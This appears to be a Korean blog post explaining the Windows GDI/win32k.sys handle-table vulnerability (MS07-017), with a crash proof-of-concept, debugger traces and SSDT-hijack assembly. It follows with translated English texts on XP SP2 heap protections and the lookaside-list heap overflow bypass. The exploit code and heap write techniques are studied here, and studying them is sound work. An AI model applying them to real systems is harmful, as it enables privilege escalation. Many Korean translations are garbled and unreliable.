비닥이 블로그

커널모드에는 여러 가지로 구성된다. 그중 눈에 띄는것은 Graphic처리에 관련된 GDI와 win32k.sys 파일이다. 문제는 GDI가 커널 내부로 들어온것인다. 이것은 좋을수도 있고 나쁠수도있다. 물론 안정성 측면의 문제도 집고 넘어가야 하지만 몇가지 의구심이 들수도있다. 이것을 만든 제작자는 안정성에 확신이있어서 GDI를 커널내부로 넣었다고한다. 하지만 종종 win32k.sys의 leak로 인한 블루스크린을 볼수있다.

예전에 Windows GDI Local Privilege Escalation(11/06/2006) 에 GDI문제점으로 야기된바 있다. 하지만 더 중요한건 패치가 늦다는것이다. 패치날짜가 4/3/2007 일으로써 거의 근 5개월만에 패치가 되었다. 이것은 win32k.sys파일안에 취약점이 존재하는데 이를 보면 gpHmgrSharedHandleSection은 GDI 오브젝트 핸들 안에있는 10바이트의 테이블이다. 이것은 다음의 형식을 가지고있다.

+00h PTR GDI object data (kernel data) pointer

+04h WORD Process ID

+06h WORD some flags

+08h WORD high word of GDI handle

+0Ah BYTE type

01h = DC 0Ah = Font

02h = Surface? 0Ch = Font Chunk?

03h = 3D Surface? 0Eh = Color Transform Object

04h = Region 10h = Brush

05h = Bitmap 15h = Metafile?

06h = Client Object? 16h = EnumFontStyle?

07h = Path 1Ch = Driver Object

08h = Palette 1Eh = Spool Object

09h = Color Space

+0Bh BYTE more flags

+0Ch PTR user data pointer

악의가 있는 사용자는 GDI 오브젝트를 새로 만들수있다. 이것은 핸들과 관련된 핵심 데이터 지시자를 수정할 수 있고 이것을 win32k.sys에 적용하기위해 그 오브젝트를 사용한다.

예를 들면 새로운 부분을 만들 수 있고, 핸들 테이블 엔트리를 수정하고, display context에 영역을 더하면서 사용자는 win32k.sys의 커널 매모리를 원하는 위치로 복사할수있다.

그러면 코드를가지고 취약성을 확인해보도록해보겠다.

GDI Kernel structure vulnerability의 취약점으로 GDITableEntry의 구조체는 다음과 같다

typedef struct

{

DWORD pKernelInfo;

WORD ProcessID;

WORD _nCount;

WORD nUpper;

WORD nType;

DWORD pUserInfo;

} GDITableEntry;

위에 상세 정의보다는 추상적이지만 실제로 이 구조체를 사용하여 값을 수정하고 오류를 발생시킬수가있다. 이 취약점의 전체적인 내용은 윈도우를 생성시킨후 그 윈도우의 열려진 객체에 접근하여 시작위치를 가져오게된다. 그리고 Ntdll.dll를 로드한후 핸들 DLL모듈과 함수를가지고 그에대한 프로시져 주소를 가져오고 그 주소에 미리지정한 구조체형식으로 세션의 정보를가져온다. 이 정보는 위에 구조체로 정의한 GDITableEntry의 정보도 포함되어있으며 이 정보에 악의적인 코드를 삽입함으로써 실행시 치명적인 오류를 발생하게된다.

즉 간단히 말하면 이 취약점은 잘못된 세션이 hMapFile 맵상의 초기값을 바꾸기를 시도함으로써 BSOD(Blue Screen of Death)가 발생한다.

주요한 코드를 보면 이해가 빠를것이다.

hWin=CreateWindow(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);

....................

lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);

hL=LoadLibrary("Ntdll.dll");

(DWORD (WINAPI *)(HANDLE, DWORD, PVOID,DWORD,DWORD*))GetProcAddress(hL,"NtQuerySection");

NtQuerySection(hMapFile,0,&buff,sizeof(buff),0)

GDITableEntry *gdiTable;

gdiTable=(GDITableEntry *)lpMapAddress;

for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry))

{

gdiTable->_nCount =0x5858;

gdiTable->nType =0x5858;

gdiTable->nUpper =0x5858;

gdiTable->ProcessID =0x5858;

gdiTable->pKernelInfo =0x58585858;

gdiTable->pUserInfo =0x58585858;

gdiTable++;

}

이소스는 위에 설명한 과정의 핵심적인 소스코드만 보이고있다.

그럼 컴파일후 실행을 시켜보도록하겠다.

실행을 시키면 다음과같은 위반된 접근이 발견되면서 Breakpoint가 걸리게된다.

그리고 그부분을 추적해보면 다음과 같은 코드를 볼수있다. 위의 코드에서 임의 적으로 넣었던 0x58585858의 값이 보인다. 그리고 이 값은 EAX레지스터에 들어가있는것같은데 여기에 +4를 하면서 오류가 발생한 것으로 보인다.

그리고 win32k.sys가 사용된것을 볼수있다.

이와 비슷한 취약점으로써 GDI 오브젝트를 만들어 오류를 발생시킬수도있다.

위의 공격과 다른점이라면 위의 것은 수정이라면 이것은 새로운 오브젝트를 만들어 바꿔사용하는 방식이다. 결론적으로는 똑같이 동작하고 취약점 또한 같다. 하지만 중요한것은

SSDT(System Service Descriptor Table)이라는 것을 사용하는데

loc_BF80C1E7:

mov eax, [esi+24h] ; [esi+24] = addr to hijack (here win32k SSDT)

mov dword ptr [eax], 2 ; !!!!!.

0x2에 의한 win32k의 SSDT의 API's입장을 바꿔 부름으로써 현재의 프로세스의 GDITable를 수정할수있다. 0x2에서 메모리를 NtAllocateVirtualMemory와 함께 할당하고 새로만든 패이로드를 할당할수있다.

lkd> dps bf998300 L 2.

bf998300 bf934921 win32k!NtGdiAbortDoc.

bf998304 bf94648d win32k!NtGdiAbortPath.

after :

lkd> dps bf998300 L 2.

bf998300 00000002.

bf998304 bf94648d win32k!NtGdiAbortPath.

공격코드의 실행전과 실행후의 모습을 보여주고있다.

이 코드의 동작과정을 보면 프로세스에 원격 메모리 핸들링을 할당하고 이 프로세스 핸들의 주소에 쉘 코드를 올리게 된다. 그리고 win32k imagebase와 SSDT사이에 올리게된다.

이에 대한 주소는 다음과 같다.

bf998300 bf934921 win32k!NtGdiAbortDoc

그리고 GDITableEntry 내에 있는 브러쉬를 새로 생성한다. 그리고 위의 취약점과 동일하게 이에대한 주소를 가져오고 process id 값을 얻어온다. 그리고 현재 동작중인 GDI Process의 GDITable를 저장하고 새로이 생성한 것으로 바꾸게된다. 공격이 완료되면 현재 브러쉬를 지우고 이전의 것으로 돌리게된다.

__asm

{

mov eax, 0x1000

mov edx,0x7ffe0300

call dword ptr [edx]

}

이 내용를 디버거로 자세히 보게되면

lkd> uf GDI32!NtGdiAbortDoc

GDI32!NtGdiAbortDoc:

77f3073a b800100000 mov eax,1000h

77f3073f ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)

77f30744 ff12 call dword ptr [edx]

77f30746 c20400 ret 4

다음과같이 사용자는 win32k.sys의 커널 매모리를 원하는 위치로 복사할수가있다.

다음의 정보는 만들어진 브러쉬 오브젝트를 삭제할때의 코드이다.

win32k.sys bDeleteBrush (called by DeleteObject).

mov esi, [edx] ;esi=pKernelInfo

cmp [esi+4], ebx ; ebx=0, we need [esi+4]>0

mov eax, [edx+0Ch]

mov [ebp+var_8], eax

ja short loc_BF80C1E7 ;jump if [esi+4] > 0.

다음은 Windbg로 커널 디버깅한 결과이다.

win32k!HmgDecrementShareReferenceCount+c

a0002b44 8b06 mov eax,[esi]

EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)

ExceptionAddress: a0002b44 (win32k!HmgDecrementShareReferenceCount+0x0000000c)

ExceptionCode: c0000005 (Access violation)

ExceptionFlags: 00000000

NumberParameters: 2

Parameter[0]: 00000000

Parameter[1]: 00000000

Attempt to read from address 00000000

.....................................................

win32k!HmgDecrementShareReferenceCount:

a0002b38 55 push ebp

a0002b39 8bec mov ebp,esp

a0002b3b 83ec10 sub esp,0x10

a0002b3e 56 push esi

a0002b3f 8bf1 mov esi,ecx

a0002b41 57 push edi

a0002b42 33ff xor edi,edi

a0002b44 8b06 mov eax,[esi] ds:0023:00000000=???????? <-- null ptr dereference

a0002b46 57 push edi

a0002b47 25ffff0000 and eax,0xffff

a0002b4c 8d4df0 lea ecx,[ebp-0x10]

a0002b4f c1e004 shl eax,0x4

a0002b52 0305587f17a0 add eax,[win32k!gpentHmgr (a0177f58)]

a0002b58 50 push eax

위의 정보를 보면 a0002b44여기서 잘못된 접근이 일어난것을 알수있다. 첫 번째 취약점과는 달리 00000000으로 채우고있다. 이것은 Microsoft 보안 공지 MS07-017-GDI의 취약점으로 인한 원격 코드 실행 문제점 (925902)으로도 문제가되었다. 이 취약점은 windows xp,2000,2003,vista에 이르기까지 windows의 전체적으로 피해를 입을수있다.

Memory protection

메모리 보호

Buffer overrun attacks are among the most common mechanisms, or vectors, for intrusion into computers.

버퍼 오버런 어택은 컴퓨터 안에서 가장 일반적인 구성, 백터, 관섭 에 둘러싸여져 있다.

In this type of exploit, the attacker sends a long string to an input stream or control – longer than the memory buffer allocated to hold it.

이 익스플로잇 형식 안에서 공격자는 긴 문자열을 제어또는 흐름을 입력하기위해 전송할수 있다. - 메모리 버퍼보다 긴 문자열

The long string injects code into the system, which is executed, launching a virus or worm.

긴 문자열은 시스템안에 코드를 입력하고 어느것인가를 실행시킨다.(바이러스,웜등..)

Windows XP Service Pack 2 uses two general categories of protection measures to inhibit buffer-overrun attacks.

윈도우 xp sp2는 버퍼 오버런 공격을 막기 위해 2가지 일반적인 선택을 사용한다.

On CPUs that support it, the operating system can turn on the execution protection bit for virtual memory pages that are supposed to hold only data.

이것을 지원하는 CPU에, 운영체제는 유일한 데이터를 유지하기위한 가상 메모리 페이지를 위해 실행보호비트를 실행할수 있다.

On all CPUs, the operating system is now more careful to reduce both stack and heap buffer overruns, using "sandboxing" techniques.

모든 CPU들은 sandboxing 기술을 사용하면서, 운영체제는 지금 스택과 힙버퍼 오버런을 축소키기 위해 힘쓰고 있다.

Execution Protection (NX)

실행 보호

On the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can mark memory with an attribute that indicates that code should not be executed from that memory.

64비트 AMD K8이나 인텔 프로세서군에서 CPU하드웨어는 코드로부터 실행할수 없는 매모리를 가르치는 속성을 메모리와 함께 마크할 수 있다.

This execution protection (NX) feature functions on a per-virtual memory page basis, most often changing a bit in the page table entry to mark the memory page.

이 가상 메모리 페이지의 기초안의 실행 보호특징 함수,메모리페이지를 마크하기위해 페이지 테이블로 진입하는 가장 자주 바뀌는 비트.

On these processors, Windows XP Service Pack 2 uses the execution protection feature to prevent the execution of code from data pages.

이 프로세서들안에서 윈도우즈 xp sp2 는 실행보호 특징을 데이터 페이지로부터 코드를 막기위해 사용된다.

When an attempt is made to run code from a marked data page, the processor hardware raises an exception immediately and prevents the code from executing.

마크된 데이터 페이지로부터 코드가 실행되는 것을 위한 시도가 될 때, 프로세서 하드웨어는 즉시 예외로 올려지고 실행으로부터 코드는 보호된다.

This prevents attackers from overrunning a data buffer with code and then executing the code; it would have stopped the Blaster worm dead in its tracks.

이 것은 공격자의 실행 되는 코드와 데이터 버퍼 오버런으로부터 막을수 있다. : 이것은 블라스터웜을 멈출수 있다.

Although the support for this feature is currently limited to 64-bit processors, Microsoft expects future 32-bit and 64-bit processors to provide execution protection.

또한 이 특징은 64비트 프로세서의 현재 한계를 위해 지원한다. 마이크로 소프트는 미래의 32/64비트 프로세서가 실행보호를 지원할거라고 예상한다.

Sandboxing

To help control this type of attack on existing 32-bit processors, Service Pack 2 adds software checks to the two types of memory storage used by native code: the stack, and the heap.

32비트 프로세서상에서 존재하는 공격의 종류는 도움을 제어할 수 있다. sp2는 소프트웨어 체크가 원래 코드에 의해 메모리 저장공간의 두가지에 사용되는 것이 추가된다.

The stack is used for temporary local variables with short lifetimes; stack space is automatically allocated when a function is called and released when the function exits.

스텍은 짧은 라이프타임과 임시 로컬 변수를 위해 사용된다.

The heap is used by programs to dynamically allocate and free memory blocks that may have longer lifetimes.

힙은 동적 할당과 긴 지속시간을 가진 빈 메모리 블록을 위해 프로그램에 의해 사용된다.

The protection added to these two kinds of memory structures is called sandboxing.

보호는 sandboxing이라고 불리는 이 두가지 종류의 메모리 구조가 추가되었다.

To protect the stack, all binaries in the system have been recompiled using an option that enables stack buffer security checks.

스텍을 보호하는 것, 시스템 안에서 모든 이진수는 스텍 버퍼 보호 검사가 가능한 옵션이 사용되어 수집되었다. .

A few instructions added to the calling and return sequences for functions allow the runtime libraries to catch most stack buffer overruns.

몇몇 명령들은 호출하고, 스텍 버퍼 오버런을 잡아내고 런타임 라이브러리가 허용된함수를 위한 수열 리턴이 추가되었다.

This is a case where a little paranoia goes a long way.

이것은 어디로 작은 paranoia 가는 경우이다. (?)

In addition, "cookies" have been added to the heap.

추가로, 쿠키는 힙에 추가되어졌다.

These are special markers at the beginning and ends of allocated buffers, which the runtime libraries check as memory blocks are allocated and freed.

버퍼 할당의 시작과 끝에 특수한 마커들이 있다. 자유로워지고 할당된 메모리 블록으로써 런타임 라이브러리.

If the cookies are found to be missing or inconsistent, the runtime libraries know that a heap buffer overrun has occurred, and raise a software exception.

만약 쿠키들이 일지하지 않거나 사라졌다면, 런타임 라이브러리는 힙 버퍼 오버런이 발생된것과 소프트웨어가 실행된 것을 알 것이다.

- from Microsoft.com

Heap Design

Heap is a reserved address space region at least one page large from which the heap manager can dynamically allocate memory in smaller pieces.

힙은 힙 메니져가 동적으로 작은 영역에 메모리를 할당할수있는것으로부터 큰 하나의 페이지를 가장 보류한 주소 공간 영역이다.

The heap manager is represented by a set of function for memory allocation/freeing which are localised in two places: ntdll.dll and ntoskrnl.exe.

힙 메니져는 두 ntdll.dll and ntoskrnl.exe의 두 곳에서 국한 시키는 메모리 할당/해제에 대한 기능의 집합이다.

Every process at creation time is granted with a default heap, which is 1MB large (by default) and grows automatically as need arise.

만들어지는 시간에서의 모든 프로세스는 디폴트 힙과 함께 수령된다.

The default heap is used not only by the win32 apps, but also by many runtime library functions which need temporary memory blocks.

이 디폴트 힙은 win32 app에 의해 사용되고 또한 많은 임시 메모리 블록이 필요한 런타임 라이브러리 함수로써 사용된다.

A process may create and destroy additional private heaps by calling HeapCreate()/HeapDestroy().

프로세스는 HeapCreate()/HeapDestroy()를 호출하는것에 의해 부가적인 개인 힙을 만들거나 파괴할수 있다.

Use of the private heaps` memories is established by calling HeapAlloc() and HeapFree().

개인 힙의 사용은 HeapAlloc() and HeapFree()에 의해 수행되어진다.

[*] More detailed information about the heap management functions is provided in the Win32 API documentation.

그 힙 메니져의 기능에 대한 더 상세항 정보는 win32 api문서에서 나와있다.

Memory in heaps is allocated by chunks called 'allocation units' or 'indexes' which are 8-byte large.

메모리는 큰 8바이트 인덱스나 할당 유닛으로 불린 chunks에 의해 할당 된다.

Therefore, allocation sizes have a natural 8-byte granularity.

그러므로, 할당 사이즈는 자연스런 8바이트들로 이루어 져있다.

For example if an application needs a 24-byte block the number of allocation units it gets 3 allocation units.

예로, 만약 어플리케이션에서 24바이트 블록에 해당하는 공간이 필요하면 이것은 3배 단위의 수를 가집니다.

In order to manage memory for every block a special header is created, which also has a size divisible by 8 (fig. 1, 2).

모든 블록 특수 해더는 만들어지기위해 메모리가 관리된다. 이것은 도한 8로 나눈 사이즈를 가지고있다.

Therefore a true memory allocation size is a total of the requested memory size, rounded up towards a nearest value divisible by 8 and the size of the header.

그러므로, 실제 메모리 할당 사이즈는 요청된 메모리 사이즈의 모든 크기이다. 이 해더의 사이즈 8과 그 크기에 의해 나눌수 있는 가장 가까운 수로 반올림 합니다.

SizeSegmentIndexPrevious SizeUnusedFlagsTag Index

Fig.1. Busy block header.

FlinkBlinkSizeSegmentIndexPrevious SizeUnusedFlagsTag Index

Fig.2. Free block header.

Where:

Size - memory block size (real block size with header / 8);

Previous Size - previous block size (real block size with header / 8);

Segment Index - segment index in which the memory block resides;

Flags - flags:

- 0x01 - HEAP_ENTRY_BUSY

- 0x02 - HEAP_ENTRY_EXTRA_PRESENT

- 0x04 - HEAP_ENTRY_FILL_PATTERN

- 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC

- 0x10 - HEAP_ENTRY_LAST_ENTRY

- 0x20 - HEAP_ENTRY_SETTABLE_FLAG1

- 0x40 - HEAP_ENTRY_SETTABLE_FLAG2

- 0x80 - HEAP_ENTRY_SETTABLE_FLAG3

Unused - amount of free bytes (amount of additional bytes);

Tag Index - tag index;

Flink - pointer to the next free block;

Blink - pointer to the previous free block.

The specification of the allocation size in allocation units is important for the free block list management.

할당 유닛에 있는 할당 사이즈 명세는 자유 블록 리스트 관리를 위해 중요합니다.

Those free block lists are sorted by size and the information about them is stored in an array of 128 doubly-linked-lists inside the heap header (fig. 3, 4).

이것들은 리스트 크기와 힙 해더의 128 이중연결 리스트 배열안에서 저장된것에 대한 사이즈와 정보에 의해 블록 리스트는 자유로워 진다.

Free blocks in the size diapasone from 2 to 127 units are stored in lists corresponding to their size (index).

사이즈안의 자유 블록은 2~127의 유닛은 그 사이즈에 대응하는 리스트로에서 저장된 것으로 부터 diapasone되었다.(?)

For example, all free blocks with the size of 24 units are stored in a list with index 24, i.e. in Freelist[24].

예를 들면, 모든 자유 블록은 24유닛의 사이즈와 함께 index24 같이 리스트에 저장된다. I.e. in freelist

The list with index 1 (Freelist[1]) is unused, because blocks of 8 bytes can`t exist and the list with index 0 is used to store blocks larger than 127 allocation units (bigger than 1016 bytes).

인덱스 1과 함께 리스트는 사용되지 않는다. 왜냐하면 8바이트의 블록은 존재할수 없고 인덱스 0과 함께 리스트는 127할당 유닛보다 큰 블럭을 저장을 위해 사ㄴ용된다.

Free list 1Free list 0Free list 2...Free list 127Lookaside list 0Lookaside list 1Lookaside list 2...Lookaside list 127Free EntryFree EntryFree EntryFree EntryNULLHeap headerFree Entry......

Fig. 3.

If, during the heap allocation, the HEAP_NO_SERIALIZE flag was unset but the HEAP_GROWABLE flag was set (which is actually the default), then in order to speed up allocation of the small blocks (under 1016 bytes) 128 additional singly-linked lookaside lists (fig. 3, 4) are created in the heap.

만약 힙 할당하는 동안, heap_no_serialize 플래그는 unset되지만 heap_growable 플래그는 설정(사실 기본설정이다)된다. 그리고 부가적인 싱글 링크 lookaside lists는 작은 블럭의 할당 속도를 높이기 위해 힙 안에서 생성된다.

Initially lookaside lists are empty and grow only as the memory is freed. In this case during allocation or freeing these lookaside lists are checked for suitable blocks before the Freelists.

초기의 lookaside lists는 비어있고, 메모리을 해제해주는것에 따라 성장합니다. 이 경우에 할당 및 해제 하는 동안 이 lookaside lists 는 freelists 전에 적당한 블록을 위해 검사합니다.

The heap allocation routines automatically tune the amount of the free blocks to store in the lookaside lists, depending on the allocation frequency for certain block sizes.

힙 할당 루틴은 자동으로 lookaside list안에 저장하기 위해 블록의 양을 조절하고 할당한다. 이것은 확실한 블록 사이즈를 위해 종종 할당되는것에 달렸다.

The more often memory of certain size is allocated -- the more can be stored in the respective lists, and vice versa -- underused lists are trimmed and the pages are freed to the system.

확실한 메모리 크기는 더 자주 할당되었다. 시스템에게 페이지가 해제 되고, underused lists 는 없어진다.

Because the main goal of the heap is to store small memory blocks this scheme results in relatively quick memory allocation/freeing.

힙의 주 목적이 작은 메모리 블록을 저장하는것을 위함 이기 때문에 이 계획은 결과는 상대적으로 빠른 메모리 할당및 해제이다.

Flink (Next block)Blink (Prev Block)Free list NFlinkBlink...Free entryFlinkBlinkLast Free entry

doubly-linked freelist

FlinkFlinkNULLFree entryFree entryFlink (Next block)Lookaside list N

singly-linked lookaside list

Fig. 4.

Heap Overflow

Let`s take a look at this pretty simple example of a vulnerable function:

이 취약한 함수의 예를 보도록 하자.

HANDLE h = HeapCreate(0, 0, 0); // default flags

DWORD vulner(LPVOID str)

�

LPVOID mem = HeapAlloc(h, 0, 128);

// <..>

strcpy(mem, str);

// <..>

return 0;

�

As we can see here the vulner() function copies data from a string pointed by str to an allocated memory block pointed at by buf, without a bound check.

여기서 str에의해 메모리 블록 할당을 버퍼에서 bound 검사 없이 하기 위해 문자열 가르친 것으로부터 vulner()함수가 데이터를 복사한것을 볼수있다.

A string larger than 127 bytes passed to it will thereby overwrite the data coincidental to this memory block (Which is, actually, a header of the following memory block).

문자열은 이것을 통과한 127바이트보다 더 크다. 이것으로 데이터 덮어쓰기가 이 메모리 블록에서 동시에 일어날것이다.

The heap overflow exploitation scenario usually proceeds on like this:

이처럼 힘 오버플로우 이용 시나리오에 일반적으로 진행된다.

If during the buffer overflow the neighboring block exists, and is free, then the Flink and Blink pointers are replaced (Fig. 5).

만약 버퍼 오버플로우에 가까운 블록이 존제하는 중이라면, 그리고 자유롭다면, Flink and Blink포인터들은 제자리로 돌아간다.

At the precise moment of the removal of this free block from the doubly-linked freelist a write to an arbitrary memory location happens:

이 이중 연결 프리리스트에서 나온 자유블럭의 이동하는 정확한 순간에 임의의 메모리 위치에 쓰기가 일어난다.

mov dword ptr [ecx],eax

mov dword ptr [eax+4],ecx

EAX - Flink

ECX - Blink

For example, the Blink pointer could be replaced by the unhandled exception filter address (UEF -- UnhandledExceptionFilter), and Flink, accordingly, by the address of the instruction which will transfer ther execution to the shellcode.

예를 들면 Blink 포인터는 필터 주소를 제외한 언핸들에 의해 재 배치 됤수있다. 그리고 flink는 그에 맞게 쉐코드에 실행을 전솔할 명령어의 주소에 의해.

[*] More detailed information about the heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David Litchfield, BlackHat 2004).

힙 오버플로우에 대해 더 자세한 정보를 원하면 windows heap overflows를 참조하라.

BlinkFlinkBlock_headerbufferBlock_headerOverflowdirection

Fig. 5.

In Windows XP SP2 the allocation algorithm was changed -- now before the removal of a free block from the freelist, a pointer sanity check is performed with regard to the previous and next block addresses (safe unlinking, fig. 6.):

윈도우 xp sp2에서 할당 알고리즘은 바뀌었다. -- 지금 freelist로부터 프리블럭이동 전에, 이 정상적인 검사 포인터는 전과 다음 주소를 주의하여 실행된다.

BlinkFlinkBlinkFlinkBlinkFlinkAllocateFree entry 1Free entry 2Free entry 3

Fig. 6. Safe unlinking.

1. Free_entry2 -> Flink -> Blink == Free_entry2 -> Blink -> Flink

2. Free_entry2 -> Blink -> Flink == Free_entry2

7C92AE22 mov edx,dword ptr [ecx]

7C92AE24 cmp edx,dword ptr [eax+4]

7C92AE27 jne 7C927FC0

7C92AE2D cmp edx,esi

7C92AE2F jne 7C927FC0

7C92AE35 mov dword ptr [ecx],eax

7C92AE37 mov dword ptr [eax+4],ecx

Then that block gets deleted from the list.

이때 리스트로부터 저 블록은 지워졌다.

The memory header block was changed, besides other things (fig. 7.).

메모리 해더 블럭은 바뀌었다. 다른 것들 근처에서.

A new one-byte-large 'cookie' field was introduced, which holds a unique precomputed token -- undoubtely designed to ensure header consistency.

새로운 one-byte-large 쿠키 필드는 소개되었다. 이것은 계산된 토큰을 가지고 있다. -- 확실히 해더의 일관성을 책임진다.

This value is calculated from the header address and a pseudorandom number generated during the heap creation:

이 값은 해더 주소와 의사 난수 숫자 생성기에 의해 힙에서 만들어지는동안 계산되었다.

(&Block_header >> 3) xor (&(Heap_header + 0x04))

The consistency of this token is checked only during the allocation of a free memory block and only after its deletion from the free list.

이 토큰의 일관성은 오직 프리 메모리 블록 할당과 프리 리스트에서 이것을 삭제하는 동안 검사되었다.

FlinkBlinkSizeCookiePrevious SizeUnusedFlagsSegmentIndex

Fig. 7.

If at least one of these checks fails the heap is considered destroyed and an exception follows.

만약 이것들중 작은 하나가 검사에 실패하면 힙은 판단 끝에 제거되고 흐름에서 제외된다.

The first weak spot -- the fact that the cookie gets checked at all only during free block allocation and hence there is no checks upon block freeing.

첫 번재 약한 부분-- 그 쿠키가 자유블럭 배당하는동안 검사하게되고, 이 때문에 블록 할당조차 검사되지 않는다.

However in this situation there is nothing you can do except changing the block size and place it into an arbitrary freelist.

어째꺼나 이 상황에서 너가 블록 사이즈를 바꾸는것을 제외하고 할수있는것이 없다. 그리고 임의의 프리 리스트안에서 놓을수도 없다.

And the second weak spot – the manipulation of the lookaside lists doesn`t assume any header sanity checking, there isn`t even a simple cookie check there.

그리고 두 번째 약한 부분 - lookaside lists의 다루는 것은 어느 해더의 온전한 검사도 취할수 없다. 간단한 쿠키 체크 조차도 없다.

Which, theoretically, results in possibility to overwrite up to 1016 bytes in an arbitrary memory location.

이론적으론, 1016바이트를 임의의 메모리 위치에 덮어 쓰는것이 가능하다는 결론이다.

The exploitation scenario could proceed as follows:

그 실행 시나리오는 다음과같은 과정을 가질수 있다.

if, during the overflow the concidental memory block is free and is residing in the lookaside list, then it becomes possible to replace the Flink pointer with an arbitrary value.

오버플로우 동안 concidental 메모리 블록은 자유롭고 lookaside list안에서 존재하고있다. 그때 이것은 Flink 포인터는 임의의 값과 함께 재 배치 가능성을 가질수 있다.

Then, if the memory allocation of this block happens, the replaced Flink pointer will be copied into the header of the lookaside list and during the next allocation HeapAlloc() will return this fake pointer.

그때 만약 이블럭의 메모리 할당이 일어나면, 재배치된 flink 포인터는 lookaside list의 해더에서 복사될것이다. 그리고 다음 heapalloc() 할당은 이 가짜 포인터로 리턴될것이다.

The prerequisite for successful exploitation is existence of a free block in lookaside list which neighbors with the buffer we overflow.

성공의 필수 개발은 우리가 덮어쓴 버퍼를 가진 근처 lookaside list 안의 자유블럭의 존재이다.

This technique was successfully tested by MaxPatrol team in trying to exploit the heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe application using the advisory published by the xfocus team:

이 기술은 성공적으로 xfocus team이 권고 발표에 사용된 MS사의 윈도우즈 winhlp32.exe 어플리케이션이 Maxpatrol team의 힙 버퍼 오버플로우 취약점 이용을 위한 시도중에 테스트 되었다.

HTTP://WWW.XFOCUS.NET/FLASHSKY/ICOEXP/INDEX.HTML

The effect of a successful attack:

1) Arbitrary memory region write access (smaller or equal to 1016 bytes).

2) Arbitrary code execution (appendix A).

3) DEP bypass. (DEP is Data Execution Prevention) (appendix B).

Disclosure timeline

10/09/2004 The possibility to work around the Heap protection mechanism was discovered by MaxPatrol security scanner research team in course of advanced vulnerabilities analysis

힙 보호 메카니즘 주위에 작업하는 가능성은 Maxpatrol security scannerresearch team에게 개선된 취약점 분석 진행에서 발견되었다.

12/21/2004 Initial vendor notification

12/22/2004 Initial vendor response

12/22/2004 PoC code was sent to Microsoft.

Solution

One might employ restriction of lookaside list creation, governed by a special global flag, as a temporary security measure.

특별한 글로벌 플래그에의해 좌우 되면서 lookaside 리스트 제작의 제한이 생길지도 모른다.

Actually a simple program for this purpose was already created by MaxPatrol research team and is available for free download from:

실제로, 이 목적을위한 간단한 프로그램은 이미 MaxPatrol 연구 팀에 의해 만들어 졌고 무료 다운로드가 아래사이트에서 가능하다.

HTTP://WWW.MAXPATROL.COM/PTMSHORP.ASP

During the first execution this program shows the list of applications which already have this flag set.

이 프로그램이 첫 번재로 실행하는 동안 이미 플래그셋을 한 어플리케이션의 리스트를 본다.

In order to activate the global flag, which would disable use of the lookaside lists, one needs to add the name of the executable file and then, optionally, close the application (PTmsHORP).

글로벌 플래그가 활성화 되기 위해, 어느 lookaside list의 사용은 중지될 수 있고, 실행파일이름의 추가가 필요하고,선택적으로 어플리케이션을 닫을수있다.

Warning: this flag, while enabled, may decrease the application performance.

경고 : 사용하는 동안, 어플리케이션 실행은 줄어들것이다.

Nicolas Falliere

nicolas.falliere@gmail.com

History

Windows heap-based buffer overflows can be summarized in two categories.

윈도우즈 힙 베이스기반의 버퍼오버플로우는 두가지로 요약할수있다.

The first one covers overflows for Windows 2000, Windows XP and Windows XP SP1

platforms. 하나는 윈도우즈 2000,xp,sp1의 오버플로우를 포함한다.

The heap management code for these systems, located in ntdll.dll, do not

perform any sanity check on heap chunks.

힙 메모리 관리코드는 3가지 시스템을 위하여 ntdll.dll 상의 많은 양의 힘상에서 정상적인 검사를 수행하지 않는다.

When an overflow occurs, the next adjacent chunk can be overwritten, and if good values are forged, a subsequent heap operation (alloc, free……) can result in an arbitrary four-byte overwrite in memory.

오버플로우가 발생했을때, 다음 근접한 힙의 메모리에 덮어쓸수가 있고, 만약 좋은 코드라면 다음 발생하는 힙의 동작은 임의의 4바이트를 메모리에 덮어쓰는 결과를 초래할수 있다.

New techniques emerged recently, but the principle remains the same: overwriting a

specific portion of memory with specific values, to gain control and execute a payload

later on.

최근 새로운 기술이 나왔다. 그러나 근본적인 원리는 아직도 유지되고있다. : 메모리에 특수한 코드를 값을 덮어쓰고, 원하는 문자열을 실행시키고 제어할수있다.

The second category includes Windows XP SP2 and Windows 2003 operating

systems.

두 번째는 윈도우 xp(sp2)와 2003기반이다.

Microsoft modified heap structures and heap manipulation functions; two checks on the chunks were added.

MS는 힙 구조와 조작 함수를 만들었다. : 더해진 블록위에 두가지를 검사한다.

The first check is to verify the integrity of a security cookie in the chunk header, to ensure no overflow has occurred when this same chunk is allocated; the second check, extremely efficient, verifies the forward and backward link pointers of a free chunk being unlinked, for any reason (allocation, coalescence).

첫 번째 검사는 블록해더안의 보안 쿠키의 무결성을 검증하고 같은 블록 안에서 배정할 때 오버플로우가 발생하지 않도록 한다.

The same check is performed for virtually allocated blocks.

같은 검사는 실질적으로 허용된 블록을 위하여 수행된다.

Others protections have been introduced as well, mainly PEB randomization, and

exception pointers encoding.

다른 보호법들은 잘 알려져 있다. 보통 PEB 난수화나 실행 포인터 암호화이다.

These protections are there to minimize the amount of fixed and well-known function pointers, used globally by the process.

이런 보호들은 프로세서에 의해 전역으로 사용되고 잘 알려진 함수포인터와 고쳐지기 까지의 최소한의 보호이다.

These locations were priviledged targets to exploit a heap overflow the old way.

이 위치들은 특권화된 타겟이 오래된 방법으로 힙 오버플로우를 이용하기위해 있다.

The first public paper detailing a method to bypass the new heap protections was

published at the beginning of year 2005 by Alexander Anisimov.

첫 번째 공개 페이퍼의 세부 사항은 2005년 초에 Alexander Anisimov가 새로운 힙 보호 우회에 대해 발표하였다.

It consists of exploiting the inexistent checks on the lookaside list.

이것은 lookaside list에 존재하지 않는 검사를 이용하는 것으로 이루어져있다.

The first dword of a lookaside entry is the start of a simply-linked list of chunks, marked as busy, but ready for allocations.

첫 번째 lookaside entry의 dword는 간단한 chunk의 연결 리스트로 시작한고, 사용중으로 표시되지만 허용을 위해 준비한다.

